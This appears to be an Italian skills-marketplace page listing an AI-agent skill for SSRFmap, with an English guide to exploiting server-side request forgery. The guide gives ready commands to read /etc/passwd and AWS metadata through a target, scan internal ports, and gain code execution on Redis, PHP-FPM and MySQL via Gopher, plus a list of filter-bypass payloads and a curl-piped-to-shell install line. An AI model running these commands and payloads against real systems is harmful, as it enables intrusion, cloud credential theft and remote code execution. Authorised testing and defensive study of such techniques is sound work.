Vai al contenuto
New

DeepSeek V4.1 Flash free for 7 days: 10M tokens a day after a top-up of $10 or more. Until Nov 30.

How it works
aeondave/ssrfmapWeb e bug bounty

ssrfmap

⁨Auth/lab ref: automated SSRF (Server-Side Request Forgery) exploitation tool using Burp-style request files.⁩

v2026.11.13-21cd5684 installazioni+4 in 7 giorni39 StelleMITsincronizzato 10 ore fa

Installa

Non hai ancora la CLI di NotHoly? Installala prima.

$ curl -fsSL https://notholy.com/install.sh | sh
$ notholy skills install aeondave/ssrfmap

Scrive in ⁦~/.notholy/skills⁩ dopo aver controllato la firma e lo SHA-256.

FirmaFirmato, ed25519
fZfRZ85TT0…P6z+ucBw==La CLI controlla lo SHA-256 e la firma prima di scrivere qualsiasi file.
Pacchetto20cff48c…32b8f62c
20cff48c31fb…ff6932b8f62c2 file · ⁦2.7 KB⁩
ScansioneAlto29 segnalazioni
  • Link a un servizio noto per scaricare datiSKILL.md:116
  • Link a un servizio noto per scaricare datireferences/ssrf-bypass.md:43
  • Link a un indirizzo IP direttoSKILL.md:108
Vedi la scansione completa
Sorgentegithub.com/AeonDave/malskill/tree/main/offensive-tools/vuln-scanners/ssrfmap@21cd568

Questa voce non è ancora scritta in italiano, quindi è mostrata in un'altra lingua: English.

Automated SSRF exploitation — local files, port scan, cloud metadata, internal service abuse.

Quick Start

bash
git clone https://github.com/swisskyrepo/SSRFmap
cd SSRFmap && pip3 install -r requirements.txt

# Basic: read /etc/passwd via SSRF
python3 ssrfmap.py -r request.txt -p url -m readfiles

# AWS metadata extraction
python3 ssrfmap.py -r request.txt -p url -m aws

# Internal port scan
python3 ssrfmap.py -r request.txt -p url -m portscan

Request File Format

Save a Burp-captured request as request.txt:

text
POST /api/fetch HTTP/1.1
Host: target.com
Content-Type: application/json
Cookie: session=abc123

{"url": "http://SSRF_URL"}

The -p url flag tells SSRFmap which parameter inside the body/query contains the injectable URL. Use SSRF_URL as a placeholder; the tool replaces it.

Core Flags

Flag Purpose
-r <file> Burp-format request file
-p <param> Parameter name containing the SSRF URL
-m <module> Exploitation module(s) — comma-separated
-l <level> Verbosity level 0-3 (default: 0)
--lhost <ip> Local IP for reverse shells or callbacks
--lport <port> Local port for reverse shells
--proxy <url> Route requests through proxy
--ssl Force HTTPS connection to target
--uagent <ua> Custom User-Agent
--waf Enable WAF bypass mode (double URL encoding)

Exploitation Modules

Module What It Does
readfiles Read local files via file:///etc/passwd
portscan Scan internal ports (127.0.0.1 / RFC1918)
aws Extract AWS EC2 metadata (169.254.169.254)
gcp Extract GCP metadata (metadata.google.internal)
azure Extract Azure IMDS metadata
networkscan Ping sweep internal network
redis Exploit Redis via Gopher to write files or get shell
smtp Send email via internal SMTP (Gopher)
fastcgi PHP-FPM FastCGI RCE (Gopher)
mysql MySQL query via Gopher
docker Docker API enumeration
zabbix Zabbix API exploitation

Multi-Module Run

bash
# Enumerate everything in one pass
python3 ssrfmap.py -r request.txt -p url \
    -m aws,readfiles,portscan -l 2

Manual SSRF Verification First

Confirm SSRF exists before running SSRFmap:

bash
# 1. Start listener
python3 -m http.server 8000

# 2. Send request with callback to your IP
# If you see a request in the listener → SSRF confirmed

# 3. Test file read manually
curl "https://target.com/api?url=file:///etc/passwd"

# 4. Test cloud metadata (AWS)
curl "https://target.com/api?url=http://169.254.169.254/latest/meta-data/"

SSRF Bypass Techniques

text
# IP representation variants
http://2130706433/         # 127.0.0.1 as decimal
http://0x7f000001/         # 127.0.0.1 as hex
http://0177.0.0.1/         # 127.0.0.1 as octal
http://[::1]/              # IPv6 loopback
http://[::ffff:127.0.0.1]/ # IPv4-mapped IPv6

# DNS tricks
http://localtest.me/        # Resolves to 127.0.0.1
http://spoofed.burpcollaborator.net/  # DNS rebinding

# URL obfuscation
http://[email protected]/   # @ trick
http://127.0.0.1#target.com    # Fragment
http://127.0.0.1/.target.com/  # Path confusion

# Protocol handlers
gopher://127.0.0.1:6379/_FLUSH%0D%0A   # Redis via gopher
dict://127.0.0.1:6379/info              # Redis via dict

Gopherus (Complementary Tool)

For generating Gopher payloads targeting internal services:

bash
pip3 install gopherus
gopherus --exploit redis        # Redis RCE
gopherus --exploit mysql        # MySQL query injection
gopherus --exploit fastcgi      # PHP-FPM RCE
gopherus --exploit postgresql   # PostgreSQL

References

File di questa versione

Permessi

PermessoDichiaratoTrovato dalla scansione
Legge fileNoNo
Scrive fileNoNo
Esegue comandi shellSìSì
Usa la reteSìSì
Usa i connettoriNoNo
Controlla un browserNoNo

Segnalazioni della scansione

Rivisto il 13 nov 2026

  1. AltaLink · Link a un servizio noto per scaricare datiSKILL.md:116
  2. AltaLink · Link a un servizio noto per scaricare datireferences/ssrf-bypass.md:43
  3. MediaLink · Link a un indirizzo IP direttoSKILL.md:108
  4. MediaLink · Link a un indirizzo IP direttoSKILL.md:109
  5. MediaLink · Link a un indirizzo IP direttoSKILL.md:110
  6. MediaLink · Link a un indirizzo IP direttoSKILL.md:119
  7. MediaLink · Link a un indirizzo IP direttoSKILL.md:120
  8. MediaLink · Link a un indirizzo IP direttoSKILL.md:121
  9. MediaLink · Link a un indirizzo IP direttoreferences/ssrf-bypass.md:7
  10. MediaLink · Link a un indirizzo IP direttoreferences/ssrf-bypass.md:8
  11. MediaLink · Link a un indirizzo IP direttoreferences/ssrf-bypass.md:9
  12. MediaLink · Link a un indirizzo IP direttoreferences/ssrf-bypass.md:12
  13. MediaLink · Link a un indirizzo IP direttoreferences/ssrf-bypass.md:13
  14. MediaLink · Link a un indirizzo IP direttoreferences/ssrf-bypass.md:16
  15. MediaLink · Link a un indirizzo IP direttoreferences/ssrf-bypass.md:17
  16. MediaLink · Link a un indirizzo IP direttoreferences/ssrf-bypass.md:26
  17. MediaLink · Link a un indirizzo IP direttoreferences/ssrf-bypass.md:27
  18. MediaLink · Link a un indirizzo IP direttoreferences/ssrf-bypass.md:33
  19. MediaLink · Link a un indirizzo IP direttoreferences/ssrf-bypass.md:34
  20. MediaLink · Link a un indirizzo IP direttoreferences/ssrf-bypass.md:35
  21. MediaLink · Link a un indirizzo IP direttoreferences/ssrf-bypass.md:36
  22. MediaLink · Link a un indirizzo IP direttoreferences/ssrf-bypass.md:39
  23. MediaLink · Link a un indirizzo IP direttoreferences/ssrf-bypass.md:50
  24. MediaLink · Link a un indirizzo IP direttoreferences/ssrf-bypass.md:51
  25. MediaLink · Link a un indirizzo IP direttoreferences/ssrf-bypass.md:52
  26. MediaLink · Link a un indirizzo IP direttoreferences/ssrf-bypass.md:57
  27. MediaLink · Link a un indirizzo IP direttoreferences/ssrf-bypass.md:61
  28. MediaLink · Link a un indirizzo IP direttoreferences/ssrf-bypass.md:65
  29. InfoLink · Link a domini esterni

Una scansione pulita abbassa il rischio, ma non prova che il pacchetto sia sicuro. Leggi quello che installi.

VersionePubblicataCommitSHA-256FirmaCambio di permessi
v2026.11.13-21cd56813 nov 202621cd56820cff48cFirmata–

Chiedi tutto quello che il tuo perimetro consente.

Crea un account, aggiungi crediti e fai la prima domanda in chat o nel terminale.

  1. 1/3

    Crea l'account

    Privato o azienda. Puoi passare ad azienda in seguito senza perdere saldo o chiavi.

    PrivatoAzienda
  2. 2/3

    Aggiungi crediti

    Con carta. Paghi a token, senza abbonamento.

    $5.00ricarica minima
  3. 3/3

    Chiedi

    In chat, oppure installa la CLI ed esegui notholy login nel terminale.

    $ notholy login